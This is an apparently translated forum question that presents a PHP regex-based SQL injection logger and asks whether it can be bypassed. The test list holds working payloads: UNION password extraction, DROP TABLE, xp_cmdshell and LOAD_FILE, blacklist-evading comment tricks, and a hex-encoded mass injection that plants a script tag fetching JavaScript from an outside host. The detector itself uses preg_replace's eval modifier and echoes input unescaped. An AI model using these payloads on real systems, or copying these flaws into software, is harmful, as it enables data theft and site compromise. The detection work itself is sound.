SQL注入检测 - 已编译正则表达式...寻找测试注射
2022-08-30 21:21:05
在周末，我编制了一个正则表达式列表，以检查GET，POST和COOKIE超级全局变量中的sql注入。从各方面来看，它们在检测是否找到sql注入方面都非常有效。我已经运行了很多在各种sql注入文档上看到的注入攻击，但我正在寻找更复杂的攻击，这些攻击可能无法解释。
我很清楚最好的防御方法验证/清理输入和参数化查询，但是这个脚本不是为了保护而设计的，而只是记录潜在的攻击。我也知道这会在各种情况下产生误报，但由于它仅用于日志记录，因此这不是一个大问题。
检测脚本如下所示。
<?php
testArray($_GET);
testArray($_POST);
testArray($_COOKIE);
function testArray($array)
{
foreach ($array as $name => $value)
{
if(is_array($value) === true)
{
testArray($value);
}
else
{
testHelper($value);
}
}
}
function testHelper($varvalue)
{
$total = test($varvalue);
echo '<h3 style="'.($total > 0 ? 'color:red;' : 'color:green;').'">'.nl2br($varvalue).'</h3>';
echo '<span style="'.($total > 0 ? 'color:red;' : 'color:green;').'">';
echo 'total = '.$total.'
';
echo '</span><br />';
}
function test($varvalue, $_comment_loop=false)
{
$total = 0;
$varvalue_orig = $varvalue;
$quote_pattern = '\%27|\'|\%22|\"|\%60|`';
// detect base64 encoding
if(preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $varvalue) > 0 && base64_decode($varvalue) !== false)
{
$varvalue = base64_decode($varvalue);
}
// detect and remove comments
if(preg_match('!/\*.*?\*/!s', $varvalue) > 0)
{
if($_comment_loop === false)
{
$total += test($varvalue_orig, true);
$varvalue = preg_replace('!/\*.*?\*/!s', '', $varvalue);
}
else
{
$varvalue = preg_replace('!/\*.*?\*/!s', ' ', $varvalue);
}
$varvalue = preg_replace('/\n\s*\n/', "\n", $varvalue);
}
$varvalue = preg_replace('/((\-\-|\#)([^\\n]*))\\n/si', ' ', $varvalue);
// detect and replace hex encoding
// detect and replace decimal encodings
if(preg_match_all('/&#x([0-9]{2});/', $varvalue, $matches) > 0 || preg_match_all('/&#([0-9]{2})/', $varvalue, $matches) > 0)
{
// replace numeric entities
$varvalue = preg_replace('/&#x([0-9a-f]{2});?/ei', 'chr(hexdec("\\1"))', $varvalue);
$varvalue = preg_replace('/&#([0-9]{2});?/e', 'chr("\\1")', $varvalue);
// replace literal entities
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
$varvalue = strtr($varvalue, $trans_tbl);
}
$and_pattern = '(\%41|a|\%61)(\%4e|n|%6e)(\%44|d|\%64)';
$or_pattern = '(\%6F|o|\%4F)(\%72|r|\%52)';
$equal_pattern = '(\%3D|=)';
$regexes = array(
'/(\-\-|\#|\/\*)\s*$/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*\\4\s*/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')(\d+)\\4\s*'.$equal_pattern.'\s*\\5\s*/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')\\4\\6?/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')?(\d+)\\4?/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]*)\\4\\5\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/((('.$quote_pattern.')\s*)|\s+)'.$or_pattern.'\s+([a-z_]+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*(d+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*([a-z_]+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.')?\s*\)\s*'.$or_pattern.'\s*\(\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.'|\d)?(;|%20|\s)*(union|select|insert|update|delete|drop|alter|create|show|truncate|load_file|exec|concat|benchmark)((\s+)|\s*\()/ix',
'/from(\s*)information_schema.tables/ix',
);
foreach ($regexes as $regex)
{
$total += preg_match($regex, $varvalue);
}
return $total;
}
对于懒惰的人来说...以下是一些示例攻击。
testArray(array(
"' or 1=1--",
"' or 1-- ",
"' or 1-- adasd ",
"' or 1",
"\" or '1'",
"' or 1=1--",
"or 1=1--",
"' OR ''='",
"' or 'a'='a",
'" or "a"="a',
"') or ('a'='a",
"'; exec master..xp_cmdshell 'ping 10.10.1.2'--",
"'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
"10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--",
"10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--",
"' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='",
"'OR''='",
"' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='",
"' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='",
"' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='",
"' OR (SELECT COUNT(*) FROM users)>10 AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='",
"' or '1'='1' -- '",
"' or '1'='1' ({ '",
"' or '1'='1' /* '",
"1;DROP TABLE `users`",
"10;DROP members --",
"x' AND email IS NULL; --",
"x' AND 1=(SELECT COUNT(*) FROM tabname); --",
"x' AND members.email IS NULL; --",
"x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--",
"x';
UPDATE members
SET email = 'steve@unixwiz.net'
WHERE email = 'bob@example.com",
"23 OR 1=1",
"23' OR 1=1",
"\''; DROP TABLE users; --",
"Bill O''Reilly",
"the new album'\"s and totally shit....get back to glasgow and write some good tunes.",
"the new album's and totally shit....get back to glasgow and write some good tune's.",
"the new album's and totally shit.....",
"lee crossan",
"\"123\"",
"111 /*This is my comment...*/UN/*Can You*/IO/*Find It*/N/**/ S/**/E/*
*/LE/*Another comment to*/CT/*Find. Can you dig*//*it*/*",
"1 UNION SELECT ALL FROM WHERE",
"1 UNION SELECT ALL FROM WHERE",
"71985' OR 1 = 1",
"71985 OR 1 = 1",
"71985 OR 1 =1",
"71985 OR 1=1",
"71985 OR 1= 1",
"71985' OR '1'= 1",
"71985 OR '1'= 1",
"71985 OR 1= '1'",
"71985 OR '5555",
"71985 OR '' = '",
"71985 OR '' = \"",
"71985 OR ' ' = \" ",
"71985 OR '_' = \"_",
"71985 OR user_id",
"71985 OR user_id=123",
"71985 OR user_id =123",
"71985 OR user_id ='asd",
"71985 OR 'asd' = user_id",
"71985 OR user_id = user_id",
"71985 OR 'a' = 'a",
"71985 OR 'a' = '",
"71985 OR 'a' = 'a';--",
"71985 OR 'a' = 'a';",
"preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', \$varvalue) > 0 && base64_decode(\$varvalue) !== false)",
'1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- ',
'ar/news/global/2008/12/16/radio_1_christmas_show',
'202534599.1295899315.1.1.utmcsr=xxx.xxx.de|utmccn=(referral)|utmcmd=referral|utmcct=/xxx/xxx/blog/dc11656b/',
'Aptly describes how a close-minded society can make a person feel. To think that this same society would target young adolescents is unconscionable. Thanks for the song.',
'; SELECT(xxxx) ',
'Aptly describes how a close-minded society can make a person feel. Thanks for the song.',
"';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);",
'; SELECT LOAD_FILE(0x633A5C626F6F742E696E69)',
'SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))',
'SELECT CHAR(75)+CHAR(76)+CHAR(77)',
'SELECT login || \'-\' || password FROM members',
'DROP/*comment*/sampletable',
';DR/**/OP/*bypass blacklisting*/sampletable',
';DR/**/OP/*bypass blacklisting*/ sampletable',
';DR/*
*/OP/*bypass blacklisting*/ sampletable',
';DR--
OP--
sampletable',
';DROP-- eranious data
TABLE --
sampletable',
'1;SELECT/*avoid-spaces*/password/**/FROM/**/Members ',
'SELECT /*!32302 1/0, */ 1 FROM tablename',
"' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--",
"1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
"-1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL-- ",
"11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- ",
"11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- ",
",0 UNION ALL SELECT 1,'x'/*,10 ;",
"';shutdown --",
"(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')",
"BENCHMARK(howmanytimes, do this)",
"BENCHMARK (howmanytimes, do this)",
"1 union select benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1",
"this is not a attack but --
plain text comment that someone could write.
",
"what about this; or that or them!",
));
所以主要问题是 - 你有可能通过这个测试函数获得sql注入 - 如果是这样 - 它是什么？
